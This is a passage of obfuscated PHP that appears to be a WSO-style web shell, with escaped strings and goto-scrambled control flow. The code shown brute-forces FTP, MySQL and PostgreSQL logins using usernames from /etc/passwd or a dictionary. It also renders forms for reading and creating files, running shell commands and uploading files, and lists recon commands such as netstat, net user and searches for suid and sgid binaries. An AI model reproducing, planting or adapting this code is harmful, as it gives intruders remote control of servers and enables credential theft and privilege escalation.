72\x3a\x20\x23\67\63\x36\67\106\60\40\x21\151\155\x70\157\x72\164\x61\x6e\164\73\x63\157\154\x6f\162\72\x20\x23\106\106\x46\x46\x46\106\73\42\76\x54\145\163\164\74\x2f\x62\x75\x74\164\x6f\x6e\76\12\x20\40\40\40\40\x20\40\x20\40\40\40\x20\x20\x20\40\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\40\40\40\40\40\x20\x20\40\40\40\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\xa\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\40\40\x20\x20\40\40\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\40\40\40\40\x20\x20\40\40\40\40\x20\x20\74\141\x20\150\162\145\146\x3d\x22" . $stra . "\x22\x20\164\171\x70\145\x3d\42\142\165\164\164\x6f\x6e\42\40\163\x74\171\x6c\x65\x3d\42\142\157\x72\144\x65\162\x2d\143\x6f\154\x6f\x72\x3a\x20\43\x34\x45\x35\61\65\64\x3b\143\157\154\157\162\x3a\x20\43\x42\x38\103\x32\103\103\73\x62\141\x63\x6b\x67\x72\157\165\156\144\x2d\143\x6f\154\x6f\162\x3a\x20\x74\162\x61\156\163\160\x61\162\145\156\x74\x3b\x22\x20\x63\x6c\x61\163\x73\75\42\142\164\x6e\x20\x62\x74\156\x2d\x6d\144\40\146\x6c\x6f\x61\164\55\154\x65\146\164\x22\x3e\x42\x61\x63\x6b\74\57\141\x3e\12\40\40\x20\40\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\40\40\x20\40\x20\40\40\40\40\40\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\40\40\40\x20\40\40\x20\40\40\40\x20\x20\x20\40\40\40\40\40\40\40\x20\40\12\x20\x20\40\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\40\40\40\40\40\40\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\74\x2f\144\151\x76\76\xa\40\40\x20\40\40\x20\x20\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x3c\x2f\146\x6f\x72\155\x3e\xa\40\x20\12\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\12\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\x3c\57\x64\x69\166\x3e\xa\40\40\40\40\40\x20\x20\40\x20\x20\x3c\57\x64\x69\166\76\12\40\x20\12\x20\x20\x20\40\40\x20\x20\x20\x3c\x2f\144\x69\x76\x3e\12\x20\40\74\57\144\151\x76\x3e\12\x20\40\xa\x20\x20\x20\x20\x20\x20\40\40\40\40\x20\40\40\40\40\40\40\x20\xa\xa\x20\x20\40\40\40\x20\x20\x20\x20\40\12\40\x20\x20\x20\x20\x20\40\x20\x20\x20\12\x20\40\12\x20\40\xa\x20\40\x20\x20\x20\x20\x20\x20\40\x20\12\40\x20\x20\40\40\40\x20\x20\x20\x20\12\40\40\40\40\40\40\x20\40\x20\40\12\x20\40\xa\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\xa\40\40\40\x20\40\40\x20\40\x20\x20\12\40\40\x20\x20\40\x20\40\x20\40\x20\12\40\x20\x20\x20\40\x20\40\40\40\x20\xa\40\40\12\40\40\x20\40\x20\40\x20\x20\x20\x20\xa\40\x20\40\x20\x20\x20\x20\40\40\40\12\40\40\40\x20\x20\40\x20\x20\x20\x20\xa\40\40\40\40\40\x20\40\40\x20\40\xa\40\x20\12\x20\x20\40\x20\x20\40\x20\40\x20\40\12\x20\x20\x20\x20\40\x20\x20\x20\40\40\12\x20\40\40\40\x20\40\x20\x20\40\x20\12\x20\40\12\x20\40\40\40\40\40\x20\40\40\40\xa\12\xa\x20\40\74\57\x62\157\144\x79\76\74\x2f\x68\164\x6d\154\76"; die; } goto wudh1; vtDN2: @define("\x56\105\x52\123\111\x4f\x4e", "\x34\56\x32\56\x35"); goto QvhaV; er_VT: function actionBruteforce() { hardHeader(); if (isset($_POST["\160\x72\x6f\164\x6f"])) { echo "\74\150\61\x3e\122\x65\163\165\154\164\163\x3c\x2f\x68\x31\x3e\x3c\x64\x69\166\x20\143\x6c\x61\163\x73\75\x63\157\x6e\164\x65\x6e\x74\76\x3c\163\160\x61\x6e\x3e\124\x79\x70\145\72\x3c\x2f\163\160\141\156\76\40" . htmlspecialchars($_POST["\160\x72\157\164\x6f"]) . "\x20\x3c\x73\x70\141\x6e\76\123\x65\162\166\x65\x72\72\x3c\x2f\163\160\x61\x6e\x3e\x20" . htmlspecialchars($_POST["\163\x65\162\x76\x65\x72"]) . "\74\142\162\76"; if ($_POST["\x70\162\157\164\x6f"] == "\146\x74\160") { function bruteForce($ip, $port, $login, $pass) { $fp = @ftp_connect($ip, $port ? $port : 21); if (!$fp) { return false; } $res = @ftp_login($fp, $login, $pass); @ftp_close($fp); return $res; } } elseif ($_POST["\x70\162\157\164\x6f"] == "\155\x79\163\x71\154") { function bruteForce($ip, $port, $login, $pass) { $res = @mysql_connect($ip . "\x3a" . ($port ? $port : 3306), $login, $pass); @mysql_close($res); return $res; } } elseif ($_POST["\x70\x72\x6f\x74\x6f"] == "\x70\x67\x73\x71\154") { function bruteForce($ip, $port, $login, $pass) { $str = "\x68\x6f\163\x74\75\x27" . $ip . "\x27\40\160\157\x72\x74\75\x27" . $port . "\47\x20\x75\x73\x65\x72\x3d\47" . $login . "\47\40\160\x61\163\x73\x77\x6f\162\x64\75\47" . $pass . "\47\40\144\142\156\x61\x6d\x65\75\x70\157\163\164\x67\162\x65\163"; $res = @pg_connect($str); @pg_close($res); return $res; } } $success = 0; $attempts = 0; $server = explode("\x3a", $_POST["\x73\145\162\x76\x65\162"]); if ($_POST["\164\x79\160\x65"] == 1) { $temp = @file("\57\x65\164\143\x2f\160\141\163\x73\x77\144"); if (is_array($temp)) { foreach ($temp as $line) { $line = explode("\72", $line); ++$attempts; if (bruteForce(@$server[0], @$server[1], $line[0], $line[0])) { $success++; echo "\x3c\142\x3e" . htmlspecialchars($line[0]) . "\74\x2f\142\76\x3a" . htmlspecialchars($line[0]) . "\x3c\x62\x72\76"; } if (@$_POST["\x72\145\x76\145\162\163\145"]) { $tmp = ''; for ($i = strlen($line[0]) - 1; $i >= 0; --$i) { $tmp .= $line[0][$i]; } ++$attempts; if (bruteForce(@$server[0], @$server[1], $line[0], $tmp)) { $success++; echo "\x3c\142\76" . htmlspecialchars($line[0]) . "\74\x2f\142\x3e\x3a" . htmlspecialchars($tmp); } } } } } elseif ($_POST["\164\x79\160\x65"] == 2) { $temp = @file($_POST["\144\151\x63\x74"]); if (is_array($temp)) { foreach ($temp as $line) { $line = trim($line); ++$attempts; if (bruteForce($server[0], @$server[1], $_POST["\x6c\157\147\151\x6e"], $line)) { $success++; echo "\x3c\142\x3e" . htmlspecialchars($_POST["\x6c\157\147\x69\156"]) . "\74\x2f\x62\76\x3a" . htmlspecialchars($line) . "\x3c\x62\x72\76"; } } } } echo "\x3c\x73\x70\x61\156\76\101\x74\x74\145\155\x70\x74\163\72\x3c\x2f\163\x70\141\x6e\x3e\40{$attempts}\x20\74\163\160\x61\x6e\76\123\x75\143\x63\x65\x73\163\72\x3c\57\x73\160\141\x6e\x3e\x20{$success}\x3c\x2f\144\151\166\x3e\x3c\142\162\x3e"; } echo "\x3c\x68\x31\76\x46\x54\x50\40\x62\162\165\x74\x65\146\157\x72\x63\145\74\x2f\150\x31\x3e\74\x64\151\x76\x20\x63\154\141\163\x73\x3d\x63\x6f\x6e\x74\x65\x6e\x74\x3e\74\x74\141\x62\x6c\145\x3e\74\x66\x6f\162\x6d\40\155\145\x74\150\157\x64\75\160\x6f\x73\164\76\x3c\164\162\76\74\x74\x64\x3e\x3c\x73\160\141\156\76\x54\x79\160\145\74\x2f\x73\160\x61\156\76\74\57\x74\144\76" . "\74\x74\x64\76\x3c\154\x61\142\x65\x6c\x3e\74\163\145\154\x65\x63\x74\x20\x6e\x61\155\145\x3d\x70\162\x6f\164\157\x3e\x3c\157\x70\164\151\x6f\x6e\x20\166\x61\x6c\165\x65\x3d\146\164\x70\x3e\106\124\x50\x3c\57\157\160\x74\151\x6f\156\76\x3c\157\x70\164\151\x6f\x6e\40\166\141\x6c\165\145\x3d\x6d\171\x73\161\154\76\115\x79\x53\x71\x6c\x3c\57\x6f\x70\164\x69\157\x6e\76\x3c\157\x70\x74\151\x6f\156\40\x76\x61\154\165\x65\75\x70\147\x73\x71\x6c\x3e\x50\157\x73\164\147\x72\145\x53\161\x6c\74\57\x6f\160\x74\x69\157\x6e\76\x3c\x2f\x73\145\154\x65\x63\164\x3e\x3c\57\154\141\142\145\x6c\76\x3c\57\164\144\76\74\57\164\x72\76\74\x74\162\76\x3c\x74\x64\76" . "\74\151\x6e\x70\165\x74\40\164\x79\160\145\x3d\x68\151\x64\x64\x65\156\40\156\x61\x6d\x65\75\143\x20\166\141\154\165\x65\75\x22" . htmlspecialchars($GLOBALS["\143\x77\x64"]) . "\x22\x3e" . "\74\151\x6e\x70\165\x74\x20\164\171\x70\145\75\150\151\x64\x64\x65\156\x20\x6e\x61\155\145\75\x61\x20\x76\141\154\x75\x65\75\x22" . htmlspecialchars($_POST["\141"]) . "\x22\76" . "\74\151\x6e\x70\x75\164\x20\x74\171\160\x65\x3d\150\x69\x64\144\x65\x6e\40\x6e\x61\x6d\145\75\x63\x68\141\162\x73\145\164\40\166\x61\154\x75\145\75\x22" . htmlspecialchars($_POST["\143\150\141\x72\x73\x65\x74"]) . "\x22\x3e" . "\74\151\x6e\x70\x75\164\x20\x74\x79\x70\x65\75\x68\x69\144\144\145\x6e\40\156\141\155\145\75\156\x65\x20\x20\166\141\x6c\165\145\75\x22\42\x3e" . "\x3c\x73\x70\x61\156\x3e\123\x65\x72\x76\x65\x72\72\160\157\x72\164\x3c\x2f\x73\160\x61\x6e\x3e\x3c\57\x74\144\x3e" . "\x3c\164\x64\x3e\x3c\x69\x6e\160\x75\164\40\x74\171\x70\145\75\x74\x65\x78\164\40\x6e\x61\155\145\x3d\x73\x65\x72\166\145\162\40\166\141\154\165\x65\x3d\x22\x31\x32\x37\56\x30\56\x30\56\x31\x22\x3e\x3c\57\164\144\76\74\57\164\x72\x3e" . "\74\164\x72\76\74\x74\x64\x3e\74\163\x70\x61\156\76\x42\x72\165\164\145\40\164\171\160\145\74\57\163\x70\x61\156\76\x3c\x2f\x74\144\x3e" . "\x3c\x74\x64\x3e\74\151\x6e\160\x75\x74\x20\x74\171\160\145\75\x72\x61\x64\x69\x6f\40\156\x61\x6d\x65\75\164\x79\x70\x65\40\x76\141\154\165\145\x3d\42\x31\42\40\x63\150\x65\143\153\x65\144\x3e\x20\57\145\164\x63\x2f\x70\x61\x73\x73\x77\x64\x3c\x2f\164\x64\76\x3c\57\164\162\x3e" . "\74\164\x72\76\x3c\164\144\x3e\74\x2f\x74\x64\x3e\x3c\x74\x64\40\x73\x74\171\x6c\145\x3d\42\x70\141\144\144\151\156\x67\55\154\145\x66\164\x3a\61\x35\x70\170\x22\x3e\x3c\x69\x6e\x70\165\164\40\x74\171\160\x65\x3d\143\150\145\143\153\142\157\x78\40\156\x61\x6d\x65\75\x72\145\166\x65\162\163\145\40\166\141\x6c\165\145\75\61\40\x63\150\145\143\x6b\x65\144\76\40\x72\145\x76\x65\x72\163\x65\40\50\x6c\157\147\151\156\40\55\76\40\156\x69\147\157\154\51\x3c\57\x74\x64\x3e\74\57\x74\162\x3e" . "\74\x74\x72\x3e\74\x74\x64\x3e\x3c\57\x74\144\x3e\x3c\x74\144\x3e\74\151\156\x70\165\x74\x20\x74\171\160\x65\x3d\162\141\x64\x69\157\x20\x6e\x61\155\x65\75\x74\x79\160\145\x20\x76\141\x6c\165\x65\75\x22\62\42\76\x20\x44\151\x63\164\151\157\156\x61\162\x79\x3c\x2f\164\x64\76\x3c\x2f\x74\x72\x3e" . "\x3c\164\162\76\74\x74\144\x3e\x3c\57\164\x64\76\74\x74\x64\76\x3c\164\x61\x62\154\145\x20\x73\164\x79\x6c\145\75\x22\x70\x61\x64\144\x69\156\x67\x2d\x6c\145\x66\164\72\61\65\160\x78\42\x3e\74\x74\162\x3e\x3c\x74\x64\76\74\x73\x70\141\x6e\76\x4c\157\147\x69\156\x3c\x2f\x73\x70\x61\x6e\76\74\57\164\x64\x3e" . "\74\164\144\76\x3c\151\x6e\x70\x75\164\40\x74\171\160\x65\75\x74\x65\170\164\40\x6e\141\x6d\x65\75\154\157\147\151\156\x20\x76\141\x6c\165\x65\x3d\42\162\x6f\x6f\164\x22\x3e\74\x2f\164\x64\76\74\57\164\162\x3e" . "\x3c\x74\162\76\74\x74\x64\76\x3c\x73\160\x61\x6e\x3e\104\x69\143\x74\151\157\x6e\x61\x72\171\74\x2f\x73\160\141\156\x3e\x3c\57\164\144\76" . "\74\x74\x64\76\x3c\151\156\160\x75\164\x20\164\x79\160\145\75\164\145\x78\164\x20\156\141\155\145\x3d\144\151\x63\x74\40\x76\141\154\x75\145\x3d\x22" . htmlspecialchars($GLOBALS["\x63\167\144"]) . "\x70\x61\163\163\x77\x64\56\x64\151\x63\42\76\74\57\164\x64\76\x3c\x2f\164\162\76\x3c\57\x74\141\142\154\145\x3e" . "\x3c\x2f\164\x64\76\74\57\164\162\x3e\x3c\164\162\76\x3c\164\x64\76\x3c\x2f\x74\144\x3e\x3c\x74\x64\x3e\74\151\156\x70\165\x74\40\164\x79\x70\145\x3d\x73\165\142\155\151\164\x20\166\141\154\x75\x65\x3d\42\163\165\142\x6d\x69\x74\42\76\74\57\x74\x64\76\x3c\x2f\x74\162\x3e\74\x2f\x66\x6f\x72\x6d\76\74\x2f\x74\141\142\x6c\145\x3e"; echo "\x3c\57\144\151\166\x3e"; hardFooter(); } goto X78wP; HLa1k: if (!function_exists("\160\x6f\163\151\170\137\x67\x65\164\x67\x72\x67\151\x64") && strpos($GLOBALS["\144\x69\163\141\142\154\145\137\146\x75\156\143\x74\151\x6f\x6e\x73"], "\160\x6f\x73\x69\x78\137\x67\145\164\x67\162\x67\x69\144") === false) { function posix_getgrgid($p) { return false; } } goto lN1qw; RD0o5: function prototype($k, $v) { $_COOKIE[$k] = $v; setcookie($k, $v); } goto SEByT; FMPdV: function hardFooter() { $is_writable = is_writable($GLOBALS["\x63\x77\144"]) ? "\x20\x3c\146\x6f\x6e\164\x20\143\x6f\154\x6f\x72\x3d\47\43\x32\x38\x43\67\x36\x46\x27\x3e\133\x20\x57\x72\x69\x74\x65\141\142\x6c\145\40\x5d\74\57\x66\x6f\x6e\x74\76" : "\x20\74\x66\x6f\x6e\164\x20\x63\x6f\154\x6f\162\x3d\x23\x45\x41\x35\64\x35\65\76\x28\x4e\x6f\x74\40\x77\x72\151\x74\x61\x62\154\145\51\74\x2f\x66\x6f\x6e\164\x3e"; echo "\xa\74\x2f\x64\151\x76\x3e\xa\74\164\141\x62\154\145\40\x63\x6c\141\163\x73\x3d\151\156\x66\x6f\40\x69\x64\x3d\x74\x6f\x6f\x6c\163\124\142\x6c\x20\143\145\154\x6c\160\141\x64\x64\151\156\147\x3d\x33\x20\143\145\154\x6c\x73\x70\141\x63\x69\156\147\75\60\x20\167\151\144\164\150\x3d\x31\60\x30\x25\x3e\12\40\x20\x20\40\40\x20\40\x20\x3c\x74\x72\76\xa\40\x20\x20\x20\x20\40\40\x20\x20\x20\40\40\x20\40\40\x20\x3c\164\144\76\x3c\146\157\162\155\x20\x6f\156\163\x75\x62\155\x69\x74\75\x22" . (function_exists("\x61\x63\x74\x69\x6f\156\x46\151\154\x65\163\115\x61\156") ? "\x67\x28\x6e\165\x6c\154\54\x74\x68\151\x73\56\143\x2e\x76\x61\x6c\x75\145\x2c\x27\x27\51\73" : '') . "\162\x65\164\165\x72\156\x20\x66\x61\x6c\163\145\73\x22\x3e\x3c\163\x70\x61\x6e\76\103\x68\141\x6e\x67\x65\40\144\151\162\72\x3c\x2f\163\x70\141\156\76\74\x62\x72\76\74\x69\x6e\160\165\x74\x20\143\154\x61\x73\x73\75\47\164\157\157\154\163\x49\x6e\160\47\40\164\x79\x70\x65\x3d\x74\145\x78\x74\40\x6e\141\155\x65\x3d\143\40\166\141\154\165\x65\75\47" . htmlspecialchars($GLOBALS["\x63\167\x64"]) . "\47\x3e\74\x69\x6e\160\x75\x74\40\164\171\160\145\75\163\165\x62\x6d\x69\164\x20\166\x61\154\x75\145\x3d\47\x73\165\142\x6d\151\164\x27\x3e\74\x2f\x66\157\162\x6d\x3e\x3c\x2f\164\144\x3e\12\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\40\40\74\x74\x64\76\x3c\x66\157\x72\155\40\x6f\156\x73\165\x62\155\151\x74\x3d\x22" . (function_exists("\141\x63\x74\x69\x6f\x6e\x46\151\154\145\163\124\157\157\x6c\163") ? "\147\x28\x27\x46\151\x6c\x65\163\124\x6f\157\154\163\x27\54\x6e\165\154\x6c\54\x74\150\x69\163\x2e\146\x2e\x76\x61\x6c\165\x65\51\x3b" : '') . "\x72\145\164\x75\162\x6e\40\x66\141\154\x73\145\x3b\42\x3e\x3c\x73\x70\141\x6e\76\x52\x65\141\144\40\x66\x69\x6c\x65\x3a\74\57\163\160\x61\156\x3e\74\142\162\76\74\x69\156\x70\165\x74\40\x63\x6c\141\x73\163\75\x27\164\x6f\157\154\x73\x49\156\160\47\40\164\x79\x70\145\x3d\164\145\x78\x74\40\x6e\141\x6d\145\75\x66\40\162\145\161\165\x69\x72\x65\144\x3e\74\151\x6e\x70\x75\164\x20\x74\x79\160\145\x3d\x73\165\x62\155\x69\x74\x20\166\x61\x6c\x75\x65\75\47\163\165\x62\x6d\x69\x74\47\76\74\x2f\x66\x6f\162\155\76\x3c\x2f\x74\x64\76\12\x20\x20\x20\40\40\x20\x20\40\x3c\57\164\x72\76\74\164\x72\76\xa\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\74\164\144\76\74\x66\x6f\x72\155\x20\x6f\x6e\163\165\142\x6d\x69\164\75\x22" . (function_exists("\x61\143\164\x69\x6f\x6e\x46\x69\x6c\x65\163\115\x61\x6e") ? "\147\x28\47\x46\x69\x6c\x65\163\115\x61\x6e\47\54\156\165\154\x6c\54\x27\155\x6b\x64\x69\x72\x27\x2c\x74\150\151\163\x2e\144\56\166\141\154\165\145\x29\73" : '') . "\x72\x65\x74\165\162\156\x20\146\x61\154\163\x65\73\42\76\x3c\163\160\x61\x6e\x3e\x4d\x61\153\145\x20\x64\151\162\72\74\57\163\x70\x61\x6e\76{$is_writable}\x3c\142\162\76\x3c\151\x6e\x70\x75\164\x20\x63\x6c\x61\x73\163\75\x27\164\157\157\x6c\163\x49\156\x70\x27\x20\x74\x79\x70\145\x3d\x74\x65\x78\164\x20\156\x61\155\x65\75\x64\40\162\145\x71\x75\151\x72\x65\x64\76\74\x69\156\x70\x75\x74\40\x74\171\x70\x65\x3d\163\165\142\155\151\164\x20\x76\141\154\165\x65\75\47\163\x75\x62\155\x69\x74\47\76\74\57\146\157\x72\x6d\76\74\x2f\164\144\76\12\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\x20\40\40\x20\x20\x3c\x74\x64\76\x3c\x66\x6f\x72\x6d\40\157\156\x73\x75\142\x6d\x69\164\75\x22" . (function_exists("\141\x63\x74\x69\157\156\106\151\154\145\x73\124\x6f\157\x6c\163") ? "\x67\50\47\106\151\x6c\145\x73\x54\x6f\157\154\163\x27\54\156\x75\x6c\154\x2c\x74\150\x69\x73\x2e\146\x2e\166\141\154\x75\145\x2c\x27\155\x6b\146\151\154\x65\x27\x29\x3b" : '') . "\162\145\164\165\162\x6e\40\146\x61\x6c\x73\x65\73\42\x3e\74\x73\160\x61\x6e\76\x4d\141\x6b\145\40\x66\x69\x6c\x65\x3a\x3c\57\x73\x70\x61\156\x3e{$is_writable}\74\142\x72\76\x3c\151\156\160\x75\x74\x20\143\x6c\141\163\x73\75\x27\x74\x6f\x6f\x6c\163\x49\156\160\x27\x20\x74\x79\160\x65\x3d\164\145\170\x74\40\156\x61\x6d\x65\75\x66\40\x72\145\x71\x75\151\162\x65\144\76\x3c\x69\x6e\x70\x75\x74\x20\164\171\x70\x65\75\x73\165\x62\x6d\x69\164\40\x76\x61\x6c\165\x65\75\x27\163\x75\142\x6d\x69\164\x27\x3e\x3c\57\146\157\162\155\76\x3c\x2f\x74\x64\x3e\xa\x20\x20\40\40\40\x20\40\40\x3c\57\x74\x72\x3e\74\164\162\x3e\xa\x20\x20\x20\x20\40\40\40\x20\x20\40\40\40\40\40\x20\x20\x3c\164\x64\76\x3c\x66\157\162\155\40\157\x6e\163\165\142\155\151\x74\75\42" . (function_exists("\x61\x63\x74\151\x6f\x6e\x43\157\156\x73\x6f\154\145") ? "\x67\x28\47\x43\157\156\163\x6f\x6c\145\47\x2c\x6e\x75\154\x6c\x2c\164\x68\x69\163\56\143\x2e\166\141\154\165\x65\x29\x3b" : '') . "\162\145\x74\x75\162\156\x20\146\141\154\x73\145\73\x22\76\74\163\x70\141\156\76\x45\x78\x65\143\x75\164\x65\72\74\57\x73\x70\x61\x6e\x3e\x3c\142\162\76\x3c\x69\156\160\x75\x74\x20\x63\154\x61\x73\163\x3d\47\x74\157\157\x6c\163\111\x6e\x70\47\x20\164\x79\160\145\x3d\x74\145\x78\x74\x20\156\141\x6d\145\75\143\x20\166\141\x6c\x75\x65\x3d\x27\x27\x3e\74\x69\156\x70\x75\164\x20\x74\171\160\x65\x3d\x73\165\x62\x6d\151\164\x20\x76\141\x6c\165\x65\75\47\163\x75\x62\x6d\151\x74\47\76\x3c\57\146\x6f\162\155\76\x3c\57\164\144\x3e\xa\x20\x20\x20\x20\40\40\x20\40\x20\40\40\40\x20\x20\40\40\74\164\x64\76\x3c\x66\x6f\162\155\x20\x6d\145\x74\x68\x6f\x64\75\47\x70\x6f\x73\164\x27\x20" . (!function_exists("\141\x63\x74\x69\157\x6e\106\151\x6c\145\163\115\141\156") ? "\x20\157\x6e\163\x75\142\155\x69\x74\75\x22\x72\145\164\x75\x72\156\40\x66\x61\154\x73\145\x3b\42\40" : '') . "\x45\x4e\103\124\x59\120\x45\x3d\47\155\165\x6c\x74\x69\160\x61\x72\x74\57\x66\x6f\162\x6d\x2d\x64\x61\x74\141\47\x3e\xa\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\40\40\x20\x20\74\151\156\160\165\164\40\x74\171\160\145\75\x68\151\144\144\145\156\40\156\141\x6d\145\x3d\141\40\x76\141\x6c\x75\x65\75\47\106\151\x6c\x65\163\x4d\x61\x6e\x27\76\12\x20\x20\x20\40\x20\x20\x20\40\40\40\40\40\40\40\x20\x20\x3c\151\156\160\x75\164\x20\x74\171\160\145\x3d\150\x69\x64\144\x65\x6e\x20\156\141\155\x65\x3d\x63\40\166\141\x6c\x75\x65\75\47" . htmlspecialchars($GLOBALS["\x63\167\144"]) . "\x27\76\12\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\40\40\x20\x3c\x69\x6e\160\165\x74\x20\x74\171\x70\x65\75\150\x69\x64\144\x65\156\40\156\x61\155\x65\x3d\x70\x31\x20\x76\x61\x6c\165\x65\x3d\x27\x75\160\154\157\x61\144\x46\151\x6c\145\47\x3e\12\x20\40\40\x20\40\40\40\40\x20\40\40\40\40\x20\40\40\x3c\151\156\160\x75\164\x20\x74\171\160\145\75\x68\x69\144\x64\145\156\40\x6e\x61\155\145\x3d\x6e\145\x20\x76\x61\154\x75\x65\75\x27\x27\76\xa\x20\40\x20\x20\40\40\40\x20\40\x20\x20\40\40\40\x20\40\74\x69\156\160\x75\164\40\164\171\x70\x65\75\x68\x69\x64\x64\145\156\40\156\x61\155\145\75\x63\x68\x61\162\163\x65\x74\40\166\141\x6c\x75\x65\x3d\x27" . (isset($_POST["\143\150\141\162\163\145\x74"]) ? $_POST["\143\x68\x61\162\x73\145\x74"] : '') . "\47\76\xa\40\40\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\74\163\160\x61\156\76\125\160\154\157\x61\144\x20\x66\151\x6c\145\x3a\74\x2f\x73\160\141\x6e\76{$is_writable}\x3c\x62\x72\76\74\151\156\160\165\164\40\143\x6c\x61\163\x73\75\47\164\157\157\154\163\111\156\160\47\x20\164\x79\160\145\75\146\x69\154\145\x20\156\x61\x6d\145\x3d\x66\133\135\x20\x20\x6d\x75\x6c\x74\151\x70\154\x65\x3e\x3c\151\156\x70\x75\x74\x20\x74\171\x70\145\75\x73\165\x62\x6d\151\164\40\x76\x61\x6c\165\145\x3d\47\x73\165\x62\155\151\164\x27\x3e\x3c\x2f\x66\157\x72\x6d\x3e\x3c\x62\x72\40\40\x3e\x3c\57\x74\x64\x3e\xa\x20\x20\x20\40\40\40\40\x20\74\x2f\x74\x72\x3e\74\57\164\x61\x62\x6c\x65\76\74\57\x64\x69\x76\76\xa\12\x20\40\x20\40\40\x20\40\x20\x3c\x2f\x62\157\x64\x79\x3e\74\x2f\150\x74\x6d\154\x3e"; } goto dxYeQ; Vrw_M: function viewPermsColor($f) { if (!@is_readable($f)) { return "\74\146\157\x6e\164\x20\143\157\x6c\x6f\x72\x3d\x23\x45\x41\65\64\65\65\x3e\74\142\76" . perms(@fileperms($f)) . "\x3c\x2f\x62\x3e\x3c\57\146\157\x6e\164\76"; } elseif (!@is_writable($f)) { return "\x3c\x66\x6f\x6e\164\40\x63\157\x6c\x6f\x72\75\43\105\x41\x35\64\65\65\x3e\x3c\x62\76" . perms(@fileperms($f)) . "\x3c\x2f\142\76\x3c\x2f\x66\x6f\156\164\x3e"; } else { return "\x3c\146\157\x6e\164\40\x63\x6f\x6c\x6f\162\75\x23\62\70\103\x37\66\106\x3e\74\x62\x3e" . perms(@fileperms($f)) . "\74\x2f\x62\76\74\x2f\146\x6f\x6e\164\76"; } } goto ZUQi1; h15M0: if ($os == "\167\151\x6e") { $aliases = array("\114\x69\x73\164\40\104\x69\x72\145\143\x74\157\162\171" => "\144\151\162", "\x46\x69\x6e\x64\x20\151\156\x64\145\x78\x2e\x70\x68\x70\40\151\156\40\143\165\162\162\145\156\164\x20\144\151\x72" => "\144\151\x72\40\x2f\x73\40\x2f\167\40\57\142\40\x69\x6e\x64\145\170\56\160\150\160", "\106\x69\156\x64\40\x2a\143\157\x6e\146\x69\147\52\x2e\x70\150\160\x20\x69\x6e\40\143\x75\162\x72\145\156\164\40\x64\x69\162" => "\144\151\162\x20\x2f\x73\x20\57\x77\x20\x2f\x62\40\52\143\157\156\x66\151\x67\52\56\x70\150\x70", "\x53\x68\x6f\x77\40\x61\x63\164\151\x76\x65\40\x63\157\156\x6e\x65\143\x74\151\x6f\x6e\x73" => "\x6e\x65\x74\x73\164\141\x74\x20\x2d\141\x6e", "\x53\150\x6f\167\x20\x72\x75\156\x6e\151\156\147\x20\x73\145\162\x76\x69\143\x65\163" => "\x6e\x65\x74\40\163\x74\141\x72\164", "\125\x73\x65\162\40\141\143\x63\x6f\x75\x6e\164\163" => "\x6e\x65\164\x20\165\x73\x65\162", "\123\150\157\x77\40\143\x6f\155\160\165\x74\145\162\x73" => "\x6e\x65\164\40\x76\151\145\x77", "\101\x52\x50\40\x54\141\x62\x6c\x65" => "\141\162\160\x20\x2d\x61", "\x49\x50\40\x43\157\156\146\151\147\x75\162\141\164\x69\157\156" => "\151\x70\143\x6f\156\x66\x69\147\40\x2f\141\154\154"); } else { $aliases = array("\x4c\x69\163\x74\40\x64\x69\162" => "\154\x73\x20\55\x6c\150\141", "\154\151\x73\164\40\x66\151\154\145\40\x61\164\x74\162\x69\x62\x75\x74\x65\x73\x20\157\156\x20\141\40\x4c\151\x6e\165\170\x20\x73\x65\143\157\156\x64\x20\145\170\x74\x65\156\x64\145\x64\40\146\151\x6c\x65\40\163\171\163\x74\145\x6d" => "\154\163\x61\164\x74\x72\x20\55\166\141", "\x73\x68\x6f\x77\40\157\x70\145\156\145\x64\40\x70\157\162\164\x73" => "\156\x65\164\x73\x74\x61\164\40\x2d\x61\156\x20\x7c\x20\147\x72\x65\x70\x20\55\x69\x20\x6c\x69\163\164\145\x6e", "\x70\162\x6f\x63\x65\x73\x73\40\x73\164\141\164\x75\x73" => "\x70\163\40\x61\165\x78", "\x46\151\x6e\x64" => '', "\x66\x69\156\x64\40\141\154\x6c\x20\163\x75\x69\x64\x20\146\151\x6c\145\x73" => "\146\151\x6e\144\x20\57\x20\x2d\164\171\x70\x65\x20\146\x20\55\x70\145\x72\155\x20\55\60\64\x30\x30\60\x20\x2d\x6c\163", "\146\x69\156\x64\x20\x73\x75\x69\144\x20\146\151\x6c\145\x73\x20\x69\156\40\x63\165\x72\162\x65\156\x74\x20\x64\x69\x72" => "\146\151\x6e\144\40\56\40\x2d\164\171\x70\145\x20\x66\40\55\160\145\162\x6d\40\55\x30\64\60\60\60\40\55\154\163", "\146\x69\x6e\144\x20\141\x6c\154\40\163\147\151\144\40\x66\x69\x6c\145\163" => "\146\151\156\x64\40\57\40\55\164\171\x70\x65\x20\146\40\x2d\160\145\x72\155\x20\x2d\x30\62\x30\x30\x30\40\55\x6c\163", 